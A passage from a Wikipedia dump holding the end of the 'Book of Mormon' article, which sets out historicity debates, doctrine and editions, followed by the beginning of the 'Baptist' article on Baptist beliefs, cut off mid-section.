Since the time of its publication, it has been common among Latter Day Saints to view and explain the ''Book of Mormon'' as a comprehensive history of all [[Indigenous peoples of the Americas|Native Americans]] (Mauss 2004); this understanding of the Book of Mormon is referred to as the &quot;hemispheric model.&quot; However, belief in the hemispheric model is an assumption not based on a close reading of the text, nor on the teachings of Joseph Smith, who stated repeatedly that he believed the events in the Book of Mormon took place in Central America. Critics claim that recent DNA studies (disputed by church members &amp;mdash; discussed later) show that Native American Indians are primarily descendants of East Asians and they conclude that the hemispheric model is incorrect.

The locations of the cities mentioned in the ''Book of Mormon'' are not identifiable.  Several groups of Mormon apologists (including FAIR and FARMS) have proposed that the city [[Zarahemla]] is located somewhere within [[Central America]] because of the description given in [http://scriptures.lds.org/alma/22/27#27 Alma 22:27].  This approach, often referred to as the &quot;Limited Geography Model,&quot; argues for a more limited view of the Book of Mormon, suggesting that the book is a history of only a small group of Native Americans in [[Central America]]. This theory, presented by Joseph Smith and others as early as 1842, has been gaining substantial support recently because it more accurately represents the descriptions given within the text itself. For instance, the populations and civilizations described in the Book of Mormon were too small to fill entire continents; moreover, there is much evidence that one common assumption of the past (that Book of Mormon civilizations were alone in America) is probably incorrect.

===Critics' views===
Some Mormon and non-Mormon scholars claim to have found [[archaeology|archaeological]], cultural and [[linguistics|linguistic]] evidence that the book was an ancient record, these conclusions however are not accepted by the majority of scholars. These scholars point to the available history of the four major civilizations in Meso-America in the Book of Mormon time period ([[Maya]], [[Mixtec]], [[Zapotec]] and [[Aztec]]) where there is archaeological data and some recorded history.  Each of these was very advanced in language, writing, mathematics and astronomy. Furthermore, ample evidence has been uncovered of the types of plants, animals and implements available to the early inhabitants.  The Book of Mormon clearly makes multiple reference to plants and animals, many of which do not match the time period. 

====Some Logical Errors used in arguments====
Critics argue that the Book of Mormon itself contains logical inconsistencies.  The two most often discussed relate to poor wording and to the plants, animals and implements mentioned in the Book of Mormon.  As with most religious arguments, these arguments will never reach a satisfactory agreement between both parties, and both are presented here for your consideration.

Further arguments can be inspected online from [http://www.utlm.org/ Utah Lighthouse Ministries] - a group critical of Mormonism.

=====&quot;Poor Choice of Wording&quot;=====
A defensive argument offered is that the authors and/or translator(s) of the Book of Mormon used the wrong words to describe unfamiliar items.  Critics argue that the language used in the Book of Mormon is reminiscent of the 1611 King James Version of the Bible rather than the English of the time.  It is also argued that there is a logical fallacy in that the seer stones used to translate the Book of Mormon should have avoided such poor choices in words and that the defense to this argument, that Joseph Smith was the &quot;weak link&quot; in the translation chain destroys the infallibility of the prophet.

Members of the church argue against this, stating that the Book of Mormon is translation literature, and Joseph Smith was inspired to write in words and a format he was used to, (since revelation comes to your mind and then the Holy Ghost manifests the truth of the thing to you) which happened to be the King James Version of the Bible.  It is also argued that the very few examples of poor wording are said to be spurious at best.  Furthermore, it is argued that Joseph Smith was never held up to be infallible: just as Jonah ran away from his preaching duties, while being referred to as a prophet in the Bible, Joseph Smith was subject to all the faults of men.

=====&quot;Plants and animals&quot; [http://www.infidels.org/news/atheism/logic.html 1]=====
Critics of the church state that there is no evidence of these plants, animals or implements found, therefore disproving the Book of Mormon.

It is argued that this statement falls into a logical fallacy known as ''argumentum ad ignorantiam'' (argument from ignorance) and takes form as either one of the following cases:
*'B' has not been proven false, therefore 'B' is true. or
*'B' has not been proven true, therefore 'B' is false.

Simply noting the wording used in the book versus what has been uncovered in digs, does not suffice as proof.  As is well proven in other sections, much of Meso-America has an unbroken archaeological record, and some advanced written history, mathematics and astronomy.  The Mayan civilization, for example, was in many ways more advanced than any old world civilization &amp;#8212; including the travellers. 

If the Book of Mormon is based on historical fact, then the plants, animals and implements would have had to have been introduced, lost, and then re-introduced after the &quot;re-discovery&quot; of the new world by the Spaniards.  To avoid the pitfalls of the aforementioned logical fallacy, the petitioner must rely on the unbroken archeological record.  Since the record is regarded as being complete and descriptive as to exposing the plants, animals and implements of the time, the fact that the introduction, loss and re-introduction is missing makes the case that those three actions did not take place &amp;#8212; one need not worry about the fate of individual items.  The Book of Mormon covers perhaps less than 2 millennia.  The Meso-American record dates as far back as 30,000 years.

To learn more about logical fallacies, read the section on [[Logical Fallacy]].

====Native American Language====
Another argument deals with the language to have been used by the indigenous inhabitants of the new world. Most Mormon and non-Mormon scholars believe that other groups of people lived in the ancient Americas. It was commonplace in 1800's America for people to assume the strange tongues spoken by the inhabitants were related to someting equally cryptic:  Hebrew.  Here is a [http://www.utlm.org/onlineresources/bomindianorigins.htm link] to a website that lists in compact form 30 books written prior to 1830 which advanced this theory to early 1800's America.  It is conceivably an easy theory to accept, as the spoken Native languages are not related to languages in Europe or Asia.  For further explanation, visit the following link from Indiana University: [http://www.cogsci.indiana.edu/farg/rehling/nativeAm/ling.html Native American Languages] and for more on the structure and syntax, visit this link: [http://www.indians.org/welker/americas.htm Native American Syntax]  It is important to mention that expatriated Hebrew-speaking Jews do not typically speak Hebrew outside of closed groups or religious ceremonies.  Reasons given for this have typically centered around the persecution Jews have received over the millennia.  Most are at the very least bi-lingual and engage others in the local language.  Therefore, exposure to Hebrew as a conversational language in 1800's America would have been quite rare.

Evidence has been provided that many native inhabitants migrated south from the Siberian-Alaskan entry point over roughly 30,000 years. The groups became fractured enough to develop similarly derived, but differently practiced cultures. In addition, the evidence of Atlantic travel to the Americas with groups, such as the [[Olmecs]], may have introduced African and other language and cultural traits to the Americas. In terms of evidence of advanced thinking, Meso-American cultures developed written language roughly the same time the ancestors of Europe did, yet with no demonstrable connection.  This is not to say they were alone; the [[Iroquois]] of North America also had advanced writing and language, different yet again.  In line with the argument offered in this section, the Hebrew and Egyptian languages at the time of the arrival of the travellers were both quite advanced.  To accept that the Book of Mormon is fact, one would have to accept that a culture and its descendants ''lost'' knowledge and ability, or accept they and their culture were destroyed by the Lamanites as stated by the Book of Mormon.

====LDS Funded Archeology====
&lt;!--Section needs citation clean-up-in progress--&gt;
Returning to the arguments concerning archeological findings, it is incorrect to assume that the LDS has never tried to prove the historicity.  In 1951 Thomas Ferguson, a devoted LDS member, petitioned Mormon President David O. McKay to financially back the founding of the ''New World Archeological Foundation'' (hereafter NWAF).  Ferguson requested at first a 5 year funding grant to dig throughout Meso-America for evidence of the veracity of the Book of Mormon claims.  His persistence paid off and the first five years were funded from 1955 to 1959.  At the end of this period, additional funding was granted and continues to this day.  

In a 1961 newsletter Ferguson predicted that although nothing had been found, the Book of Mormon cities would be found in 10 years.  Eleven years later in 1972 LDS member Hal Hougey wrote Ferguson questioning the progress given the stated timetable in which the cities would be found.  Replying to Hougey as well as secular and non-secular requests, Ferguson wrote in a letter dated [[5 June]] [[1972]]:  &quot;Ten years have passed... I had sincerely hoped that Book-of-Mormon''(sic)'' cities would be positively identified within 10 years &amp;mdash; and time has proved me wrong in my anticipation.&quot;  To date, the NWAF has been continuously unlucky.  However, given the light of the logical fallacy presented earlier, this is not a proper argument that the Book of Mormon is false or true. 

During the period of 1959-1961, NWAF colleague '''Dee Green''' was editor of the ''BYU Archeological Society Newsletter'' and had an article from it published in the summer of 1969 edition of ''Dialogue:  A journal of Mormon Thought'', pp76-78 in which he acknowledged that the NWAF findings did not back up the veracity of the Book of Mormon claims.  After this article and another six years of fruitless search, Thomas Ferguson published a 29 page paper in 1975 entitled ''Written Symposium on Book-of-Mormon Georgraphy:  Response of Thomas S. Ferguson to the Norman &amp; Sorenson Papers''.  The full text will be omitted here, but he summed up as thus on page 29:  &quot;I'm afraid that up to this point, I must agree with Dee Green, who has told us that to date there is no Book-of-Mormon geography...&quot;

Ferguson wrote a [[20 February]] [[1976]] letter to Mr &amp; Mrs H.W. Lawrence in which he stated:  &quot;...The real implication of the paper is that you can't set the Book-of-Mormon geography down anywhere &amp;mdash; because it is fictional and will never meet the requirements of the dirt-archeology&quot; (sic).

While each of the aforementioned quoted sources are easily verifiable, critics think it interesting to note that the LDS Church library does contain copies of each, but they are not part of any LDS curriculum.

This is not to say the NWAF has found nothing.  Quite the opposite, the findings of the NWAF have been invaluable in continuing the unbroken record of Meso-America.  Currently BYU maintains 86 documents on the work of the NWAF at the [http://www.lib.byu.edu/spc/nwaf/ BYU NWAF website] and these documents are used outside both BYU and the LDS church by researchers.

====DNA====
Recent studies have claimed that Native Americans do not have certain genetic markers in common with modern Middle Eastern DNA samples, and genetic research shows that they are more closely related to people in Asia than anywhere else.  These studies have come mainly from [[Thomas Murphy]]. and [http://www.smh.com.au/news/national/academic-falls-foul-of-mormons/2005/07/20/1121539033179.html/ Simon Southerton].  Critics claim this contradicts the statement found in the introduction of the current edition of the Book of Mormon, which says that the Lamanites, descendents of Hebrews, are the &quot;principal ancestors&quot; of Native Americans, however there is no claim that they are the sole ancestors. There are three different people who are mentioned, of which one may be Asian.

In [http://www.fairlds.org/apol/bom/bom12.html/ response] to these arguments,  David Stewart states that the studies fail to account for the fact that Ancient Israelite DNA would be vastly different from their modern DNA.  He also said that mtDNA testing, which was the cornerstone in both studies, cannot even link different Jewish groups let alone compare them to American Indians faithfully.  He concluded that the studies take a very limited and biased approach in order to control the outcome and that the studies ignore other basic DNA facts in order to come to their biased conclusion. This criticism of the science is not generally accepted outside of Mormonism.

====Archaeology====
''For a detailed discussion about Book of Mormon Archaeology, visit [[Archaeology and the Book of Mormon]]''

Other arguments against the Book of Mormon are made on an archaeological basis, such as the mention of animals that are not known to have been present in the Americas prior to contact with Europe. One specific issue is language, in that the Nephites and Lamanites would have spoken a Semetic language up to at least 400 C.E., where the Book of Mormon stops. However, no spoken semetic language has survived in the Americas to modern times. These critics also feel that the 1,000 years after the end of the period covered in the Book of Mormon do not suffice to account for the difference among Native American languages nor their distance from Semetic languages. A common counterargument is that the Book of Mormon mentions contact with other civilizations with their own non-Semitic languages that might have influenced or supplanted any Semitic language being spoken, and point to written samples of Semetic languages in available archaelogical data.  

Mormon critics often point to lacking evidence supporting all of Book of Mormon claims. Apologists often counterargue that Meso-American archeaology is a young field and that evidence will eventually surface. One example of lacking evidence is that although horses lived in the ancient americas, there is little evidence that they were domesticated or even co-existed during the time period of the Book of Mormon narrative. Another example of evidence once believed lacking, now found is that the Book of Mormon referred to elephants (Ether 9:19) being brought to America by one of the groups. This claim was refuted by critics as absurd until 1903 when, according to American Antiquarian, 25:395-397, Dr. Nicholas Leon unearthed elephant bones near the town of Paredon, north of the City of Mexico [http://www.2s2.com/chapmanresearch/elephant.html]. Currently, most Book of Mormon claims are substantiated, however, a good deal of them are problematic from a dating perspective - some, such as horses (mentioned above), existed in the Americas, but not during the Book of Mormon time period.

==Role of the Book of Mormon in Mormonism==
[[Joseph Smith]] said, “&quot;I told the brethren that the Book of Mormon was the most correct of any book on earth, and the [[keystone]] of our religion, and a man would get nearer to [[God]] by abiding by its precepts, than by any other book.&quot; (History of the Church 4:461).  The ''Book of Mormon'' is of prime importance to the church as one of the greatest differentiating factors of the church as well as a spiritual foundation. It is held as a tangible evidence of the truthfulness of the church. 

Members of the church hold The ''Book of Mormon'' as the most important, correct, and basic book of scripture. Not placing enough emphasis on the Book of Mormon or ignoring it all together was decried in a revelation to [[Joseph Smith, Jr.|Joseph Smith]] that pronounced a condemnation on the &quot;whole church&quot; for treating the ''Book of Mormon'' &quot;lightly,&quot; until they should &quot;[[repentance|repent]] and remember the new covenant, even the ''Book of Mormon'' and the former commandments which I [the [[God|Lord]]] have given them, not only to say, but to do according to that which I have written, that they may bring forth fruit meet for their [[God the Father|Father's]] [[kingdom of heaven|kingdom]]&quot; ([[Doctrine and Covenants]] 84:55-58). The importance of studying the Book of Mormon has been stressed by every LDS church [[President of the Church (Mormonism)|president]] since Joseph Smith, who stated that the Book of Mormon was &quot;the most correct of any book on earth, and the [[keystone]] of our [[religion]], and a man would get nearer to [[God]] by abiding by its precepts, than by any other book.&quot;

The ''Book of Mormon'''s significance was reiterated in the late 20th century by [[Ezra Taft Benson]], [[Apostle (Mormonism)|Apostle]] and 13th [[President of the Church (Mormonism)|President]] of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]]. In an August 2005 ''[[Ensign (magazine)|Ensign]]'' message, current LDS President [[Gordon B. Hinckley]] challenged each member of the church to reread the Book of Mormon again before year end. The book's importance is commonly stressed at the twice-yearly [[General Conference (Mormonism)|General Conference]] and at special devotionals by [[General Authority|General Authorities]] in the [[First Presidency]], the [[Quorum of the Twelve Apostles]], and the several [[Quorums of the Seventy]].

===Claimed differences between the Book of Mormon and Latter-day Saint doctrine===
[[Criticism of Mormonism|Critics of Mormonism]] argue that the teachings of ''Book of Mormon'' are not entirely consistent with Mormon (and/or more specifically, LDS) doctrine. The book's Introduction states that the Book of Mormon &quot;contains, as does the Bible, the fullness of the everlasting gospel,&quot; though it does not dictate certain specific doctrines important to [[Latter-day Saints]]. These come from other sources, including modern revelation. Members of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] believe that when the church is properly organized, the president of the church is a prophet who receives guidance from God. From his revelations come the doctrines of the church which are treated as God's will, as well as the official interpretation of scripture, even if latter revelation modifies or contradicts earlier revelation. The organization, instructions and even the scriptures may change with the times to meet the current needs of the church, but the basic belief as a whole will remain mostly unchanged. However, it is clear that a few of the doctrinal elements that distinguish Mormonism from other Christian religions are not mentioned in the Book of Mormon.
Vital doctrines not found in the Book of Mormon include the origin of [[God]], [[Baptism for the dead]], The [[Word of Wisdom]] (the Mormon law of health) and other [[temple (Mormonism)|temple]] [[ordinance]]s. It also does not dictate the doctrine of [[plural marriage]], or [[polygamy]].

To counter the accusation that the Book of Mormon does not contain &quot;the fullness of the everlasting gospel,&quot; some LDS members point to a statement made by Joseph Smith to the effect that the basic and essential ordinances of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] are [[Faith]] in Jesus, [[Repentance]], [[Baptism]], and [[Confirmation (sacrament)|Confirmation]] to receive the Gift of the [[Holy Ghost]], which are taught in the Book of Mormon, and all other doctrines and practices are but appendages to those tenets. Another interpretation of the phrase &quot;fullness of the everlasting gospel&quot; is that the Book of Mormon contains, as does the Bible, the true ''[[gospel]]'' (the message of Christ's [[Atonement]] and of the plan of [[salvation]]), untarnished by centuries of misinterpretation.

The following passages appear to most observers to conflict with Mormon (and more specifically, LDS) doctrines:
*The Father and the Son are one God (Mosiah 15:4). Critics argue that this means the Father, the Son, and the Holy Spirit cannot be three individuals, as is claimed in Doctrine and Covenants 130:22.  However, members of the church claim that this scripture is describing Christ and his mission, not all members of the Godhead, and that this interpretation fails to consider the context of the passage.
* Critics argue that the doctrine of plural marriage contradicts the Book of Mormon by stating that [http://scriptures.lds.org/jacob/1/15#15 Jacob 1:15] forbids the practice in its entirety.  Members of the church argue that critics also fail to mention that polygamy was acceptable in the Old Testament, and even sanctioned by God ([http://scriptures.lds.org/2_sam/12/7-8#7 2 Samuel 12:7-8]); and that critics fail to consider the whole context of what Jacob said concerning polygamy:

::&quot;I the Lord God will not suffer that this people shall do like unto them of old. Wherefore, my bretheren, hear me, and hearken to the word of the Lord: For there shall not any man among you have save it be one wife; and concubines he shall have none.  For I, the Lord God, delight in the chastity of women. And whoredoms are an abomination before me; thus saith the Lord of Hosts. Wherefore, this people shall keep my commandments, saith the Lord of Hosts, or cursed be the land for their sakes. For if I will, saith the Lord of Hosts, raise up seed unto me, I will command my people; otherwise they shall hearken unto these things.&quot; ([[Book of Jacob|Jacob]] [http://scriptures.lds.org/jacob/2/26-30#26 2:26-30]).

:Current members of the Church of Jesus Christ of Latter Day Saints believe that the Lord commanded polygamy for a time as permitted by the ending clause, for raising up seed in a time of hardship, but when the [[1890 Manifesto]] revoked that commandment, [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] began to excommunicate members who entered into polygamous relationships. Although polygamy is considered a doctrine essential to salvation (D&amp;C 132 [[Doctrine and Covenants]]), current revelation defers to the restrictions of U.S. legal canon in regard to its practice.

Latter Day Saints counter such arguments stating that critics of the church are intentionally misinterpreting scripture to create arguments to support their own position.  It is argued that if critics intend to criticise scriptures that they must use the common interpretations of the scriptures found in the many resources of the church if they seek to disprove doctrines.

==Book of Mormon Editions==
The ''Book of Mormon'' is published today in the following forms:
*by [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] under the expanded title '''''The Book of Mormon: Another Testament of Jesus Christ''''' (since 1982)
*for the [[Community of Christ]] by Herald House as '''''The Book of Mormon - Revised Authorized Version''''' (1966) and '''''The Book of Mormon - Authorized Version''''' (1908)
*by the [[Church of Jesus Christ (Bickertonite)]] as '''''The Book of Mormon:  An Account Written by the Hand of Mormon upon Plates taken from the Plates of Nephi''''' &amp;mdash; an original edition compiled by a committee made up of Church of Jesus Christ apostles Thurman S. Furnier, Charles Ashton and William H. Cadman
*for the [[Church of Jesus Christ of Latter Day Saints (Strangite)]] by Richard Drew, Burlington ([[Voree, Wisconsin|Voree]]), Wisconsin &amp;mdash; a photo enlarged facsimile of the 1840 edition
*by Zarahemla Research Foundation as '''''The Book of Mormon - Restored Covenant Edition'''''
*by the University of Illinois Press as '''''The Book of Mormon: A Reader's Edition''''' (2003) (this edition is based on the 1920 LDS edition)
*by Doubleday under the title '''''The Book of Mormon: Another Testament of Jesus Christ''''' (2004)
*By Herald Heritage (Herald House) 1830 Reproductions.

&lt;!-- //// I'm commenting out this paragraph because its premise is NOT true. While it is the first time that the LDS Church has approved a commercial edition, the Community of Christ approved such an edition in 1973. That edition was published by Family Library, an imprint of Pyramid Books, ISBN 0515030341. /////
For the first time since its original publication, a special edition of ''The Book of Mormon'' was printed by a trade publisher for commercial distribution.  While it contains all the original text of the current LDS [[English language|English]] edition of the ''Book of Mormon'', it lacks the [[footnote]]s and cross-references of the church-published version.  This hardcover edition of the book was made available on [[November 16]] [[2004]] by [[Doubleday]].
/////// --&gt;
Some critics have suggested that some of the changes across editions significantly affect the meaning of the Book of Mormon and indicate an agenda inconsistent with the idea of a revealed or inspired book. A portion of these changes have been discussed in official Church publications including the ''[[Ensign (magazine)|Ensign]]'', ''[[Improvement Era]]'', ''[[Millennial Star]]'' and ''[[Times and Seasons]]'', and are consistent with early pre- and post-publication edits made by Joseph Smith. Some corrections were made due to earlier print or copy errors, or changes in punctuation.  ''See'' [[Linguistics and the Book of Mormon]].

==References==
*{{cite journal | author=Brewster, Quinn | title=The Structure of the Book of Mormon: A Theory of Evolutionary Development | journal=Dialogue: A Journal of Mormon Thought | volume=29(2) | year=1996 | pages=109&amp;ndash;140 | url=http://content.lib.utah.edu/cgi-bin/docviewer.exe?CISOROOT=/dialogue&amp;CISOPTR=11460&amp;CISOSHOW=11376}}
*Bushman, Richard L.. 2005. Joseph Smith: Rough Stone Rolling. New York: Alfred Knopf. ISBN 1400042704
*Givens, Terryl. 2002. By the Hand of Mormon: The American Scripture That Launched a New World Religion. Oxford University Press. ISBN 0195168887
*{{cite journal| author=Jessee, Dean C. | title=The Original Book of Mormon Manuscript | journal=BYU Studies | volume=10(3) | year=1970 | pages=259&amp;ndash;278 | url=https://byustudies.byu.edu/shop/PDFfiles/10.3Jessee.pdf}}
*Mauss, Armand L. 2003. All Abraham's Children: Changing Mormon Conceptions of Race and Lineage. Illinois: University of Illinois Press. ISBN 0252028031
*Persuitte, David. ''Joseph Smith and the Origins of The Book of Mormon'', second edition, McFarland &amp; Company (2000), trade paperback, 325 pages, ISBN 078640826X
*Vogel, Dan. 2004. Joseph Smith: The Making of a Prophet. Salt Lake City: Signature Books. ISBN 1560851791

==See also==
*[[Archaeology and the Book of Mormon]]
*[[Golden Plates]]
*[[Linguistics and the Book of Mormon]]
*[[Record of the Nephites]]
*[[Reformed Egyptian]]

==External links==
{{Wikisource}}
===Links to texts===
*[http://scriptures.lds.org/bm/contents ''Book of Mormon'' (The Church of Jesus Christ of Latter-day Saints Edition)]
*[http://www.centerplace.org/hs/bofm/default.htm ''Book of Mormon'' (Community of Christ Edition)]
*[http://centerplace.org/hs/bofm/ ''Book of Mormon'' (RLDS 1908 Authorized Edition)]
*[http://www.ldsaudio.com/free-book-of-mormon/ ''Audio Book of Mormon''] in mp3 format (free download)
*[http://www.colinandbethany.com/phpBB2/index.php?c=6 ''Book of Mormon'' Discussion Board]

===Links to articles about===
==== Official sources ====
*[http://www.mormon.org/learn/0,8672,1090-1,00.html ''Book of Mormon'', basic information and beliefs] from [[The Church of Jesus Christ of Latter-day Saints]]
*[http://www.cofchrist.org/history/BofM.asp Information about ''Book of Mormon''] from the [[Community of Christ]]

==== Sympathetic views ====
*[http://www.jefflindsay.com/BMEvidences.shtml ''Book of Mormon'' Evidences]    
*[http://www.ldsresources.net/?view=link_home&amp;cat_id=2 ''Book of Mormon'' Information]
*[http://www.signaturebookslibrary.org/essays/bookofmormon.htm A short introduction to the ''Book of Mormon'']
*[http://bomf.org/research.html ''Book of Mormon'' Research] from the ''Book of Mormon'' Foundation
*[http://www.computercontrolsystems.com/GE/BoM/Index.htm ''Book of Mormon'' Archive-Archeology, Evidence, Study Materials, Rebuttals] from the Abundant Life Fellowship[http://www.restoredgospel.com/]
*[http://www.lightplanet.com/mormons/basic/bom/editions_eom.htm Editions of ''The Book of Mormon'']
*[http://www.lightplanet.com/mormons/basic/bom/manuscripts_eom.htm ''Book of Mormon'' Manuscripts]

==== Critical views ====
*[http://www.skepticsannotatedbible.com/BOM/index.html Skeptics Annotated ''Book of Mormon'']
*[http://www.contenderministries.org/mormonism/bomproblems.php  Evangelical Christian view of the ''Book of Mormon'']
* [http://mormonwiki.org/Book_of_Mormon (Another) Evangelical Christian view of the ''Book of Mormon''] 
*[http://www.helpingmormons.org/twain.htm ''A Review of The Book of Mormon'' by Mark Twain]
*[http://www.saintsalive.com/mormonism/bomchanges.htm Saints Alive ''Book of Mormon'' Changes]


[[Category:Book of Mormon]]
[[Category:Latter Day Saint texts]]
[[Category:Mormonism]]
[[Category:Pre-Columbian trans-oceanic contact]]
[[Category:Religious texts]]
[[Category:Spiritual books]]

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    </revision>
  </page>
  <page>
    <title>Baptist</title>
    <id>3979</id>
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      <id>42163236</id>
      <timestamp>2006-03-04T06:03:32Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <minor />
      <comment>RV</comment>
      <text xml:space="preserve">{{Christianity}}
A '''Baptist''' is a member of a Baptist church. '''Baptist''' churches are part of a [[Christianity|Christian]] movement often regarded as an [[Evangelicalism|Evangelical]] [[Protestant]] [[Religious_denomination|denomination]]. Baptists emphasize a [[believer's baptism]] by full immersion, which is performed after a profession of faith in [[Jesus]] as Lord and Savior. A [[congregational]] governance system gives autonomy to individual local Baptist churches, which are sometimes associated in organizations such as the [[Southern Baptist Convention]].  In the late 1990s, there were about 43 million Baptists worldwide with about 33 million in the [[United States]].  

== Beliefs ==
Baptist churches do not have a central governing authority, resulting in the wide range of beliefs from one Baptist church to another.  Baptist distinctives are beliefs that are common among Baptist churches, some of which are also shared with many other [[Protestant Reformation|post-reformational]] denominations.  Some historically significant Baptist doctrinal documents include the [[1689 London Baptist Confession of Faith]], the [[1833 New Hampshire Baptist Confession of Faith]], and the [[Southern Baptist Convention]]'s [[Baptist Faith and Message]], which are often used as the &quot;official&quot; doctrinal statements of individual local Baptist churches or the starting point for an official statement.

''See also : [[List of Baptist Confessions|List of Baptist Confessions or Doctrinal Statements]]''

The following [[backronym]] (which spells out Baptist) is used by some Baptist churches as a summary of the distinctives or distinguishing beliefs of Baptists.

* '''B'''iblical authority
* '''A'''utonomy of the local church
* '''P'''riesthood of all believers
* '''T'''wo ordinances (baptism and [[Eucharist|communion]])
* '''I'''ndividual soul liberty
* '''S'''eparation of Church and State
* '''T'''wo offices of the church (pastor and deacon)

=== Biblical authority ===
Authority of the Scriptures or [[sola scriptura]] states that the Bible is the only authoritative source of God's truth (in contrast to the role of Apostolic tradition in the Roman Catholic Church, or &quot;revelations from God&quot; as espoused in [[charismatic]] circles).  Any view that cannot be directly tied to a scriptural reference is generally considered to be based on human traditions rather than God's leading, and though they may be accurate, such views are ''never'' to be elevated to or above the authority of Scripture.

Each person is responsible before God for his or her own understanding of the Bible and is encouraged to work out their own salvation (Philipians 2:12[http://bible1.crosswalk.com/OnlineStudyBible/bible.cgi?word=Philippians+2%3A12&amp;section=0&amp;version=kjv&amp;new=1&amp;oq=&amp;NavBook=php&amp;NavGo=2%3A1&amp;NavCurrentChapter=2]).  Baptists generally consider historic Christian [[creed]]s to be on lower footing in comparison to Scripture even though they may in essence agree with them.  However, a group or local church may have a general &quot;Statement of Faith&quot; (such as the [[Baptist Faith and Message]] of the [[Southern Baptist Convention]]).

[[Biblical inerrancy]] is also a common position held by [[fundamentalism|fundamentalist]] Baptists in addition to contextually literal interpretations of the Bible and other fundamentalist theologies. However, because of the variety allowed under congregational governance, many Baptist churches are neither literalist nor fundamentalist, although most do believe in biblical authority. Most moderate or non-fundamentalist Baptists prefer the term ''inspired'' or ''God-breathed'' rather than ''inerrant'' to describe scripture, referring to the term Paul uses in 2 Timothy 3:16. 

With regard to the inerrancy of the Scriptures, some Baptists consider that the original autographs (presumed lost) are inerrant and that the original words have been preserved by God on copies made throughout the years since they were written. Most Baptists consider the translations of these manuscripts into other languages (such as English) to be necessary, but not necessarily inerrant. Some Baptists believe that the King James Version of the Bible is an inspired translation and reject the need to know or use the Greek and Hebrew manuscripts.

Even though it is only the Bible that is considered authoritative, Baptists also cite other works as illustrative of doctrine. One work which is commonly read by Baptists is the allegory [[Pilgrim's Progress]] by [[John Bunyan].

=== Autonomy of the local church (Congregationalism) ===
[[Congregationalist church governance]] gives [[self-governance|autonomy]] to individual local churches in areas of [[policy]], [[polity]] and [[doctrine]]. Baptist churches are not under the direct administrative control of any other body, such as a national council, or a leader such as a bishop or pope. Administration, leadership and doctrine are usually decided democratically by the lay members of each individual church, which accounts for the variation of beliefs from one Baptist church to another.

Exceptions are some [[Reformed Baptist]]s, who are organized in a [[Presbyterian]] system, the [[Congolese]] [[Episcopal Baptist]]s that has an [[Episcopal]] system, and some Baptist [[megachurch]]es who lean towards a strong clergy-led style, in some instances abandoning congregational governance altogether (though as independent congregations within an association, are free to adopt any style).

In a manner typical of other congregationalists, many cooperative associations or conventions of Baptists have arisen. These associations were formed for missionary and other charitable work and have no authority over the operations of individual local churches. Local churches decide at what level they will participate in these associations.  The largest association in the United States is the [[Southern Baptist Convention]]. The second largest is the [[National Baptist Convention, USA, Inc.]], which is also America's largest predominantly African-American denomination. There are hundreds of Baptist conventions and many [[Independent Baptist]] churches do not fall into any of them, believing such associations to be unscriptural. In addition, there are sometimes very strong disputes within conventions which are often divided between [[Christian fundamentalist]]s and moderates.

Baptist leaders of the 20th century include Civil Rights pioneer Dr. Martin Luther King, a member of the American Baptist Church denomination.

=== Priesthood of all believers ===
The doctrine of &quot;[[priesthood of all believers]]&quot; states that every Christian has direct access to God and the truths found in the Bible, without the help of an aristocracy or hierarchy of priests.  This doctrine is based on the passage found in [http://www.biblegateway.com/passage/?search=1%20Peter%202:9;&amp;version=31;50;9; 1 Peter 2:9] and was popularized by [[Martin Luther]] during the [[Protestant Reformation]] and [[John Wycliff]]'s [[Lollards]] before Luther.

Baptists are encouraged, though, to discuss scriptural and other issues with their minister and/or other, more &quot;mature&quot; Christians, when appropriate.  However, ultimately the individual Christian is responsible for understanding the Bible and its application to the individual.

The Baptist position of the priesthood of all believers is one column that upholds their belief in religious liberty.

=== Two ordinances (Baptism and Communion) ===

Generally, Baptist churches recognize only two ordinances that are to be performed on a regular basis by churches: [[baptism]] and [[Eucharist|communion]].  Some churches, including [[Primitive Baptists]] and some [[Free Will Baptist Church|Free Will Baptists]], also practice [[foot washing]] as a third ordinance.

==== Believer's baptism ====
Baptism, commonly referred to as [[Believer's baptism]], is an ordinance that according to Baptist doctrine plays no role in salvation, being properly performed only after salvation, and is performed after a person professes Jesus Christ as Lord and Savior. It is an outward expression that is symbolic of the inward cleansing or remission of their sins that has already taken place. It is also a public identification of that person with Christianity and with that particular local church. Most Baptist churches consider baptism by full immersion, subsequent to salvation, a criterion for membership.  

Through [[Anabaptist]] influence, Baptists reject the practice of [[pedobaptism]] (infant baptism) because they believe parents cannot make a decision of salvation for an infant. Related to this doctrine is the disputed concept of an &quot;[[Coming of age#Christianity|age of accountability]]&quot; when God determines that a mentally capable person is accountable for their sins and eligible for baptism. This is not necessarily a specific age, but is based on whether or not the person is mentally capable of knowing right from wrong. Thus, a person with severe mental retardation may never reach this age, and therefore would not be held accountable for sins.  The book of [[Isaiah]] mentions an age at which a child &quot;shall know to refuse the evil, and choose the good&quot; but does not specify what that age is.  

Baptists emphasize [[baptism]] by full immersion, the mode presumed to have been used by [[John the Baptist]]. This consists of lowering the candidate in water backwards while the baptizer (a pastor or any baptised believer) invokes the Trinitarian formula of Matthew 28:19 or other words concerning a profession of faith. This mode is also preferred for its parallel imagery to the death, burial, and resurrection of [[Jesus]]. 

Recognition of baptisms by other modes and Christian groups vary. Many Baptist churches only recognize baptism by full immersion as being valid, while a few will baptise by sprinkling as a practical alternative for the disabled or elderly or in times of drought. Some Baptist churches will recognize adult baptisms performed in other orthodox Christian churches, while others only recognize baptisms performed in Baptist churches. In rare instances, a church may recognize only its own baptisms as valid.

==== Communion ==== 
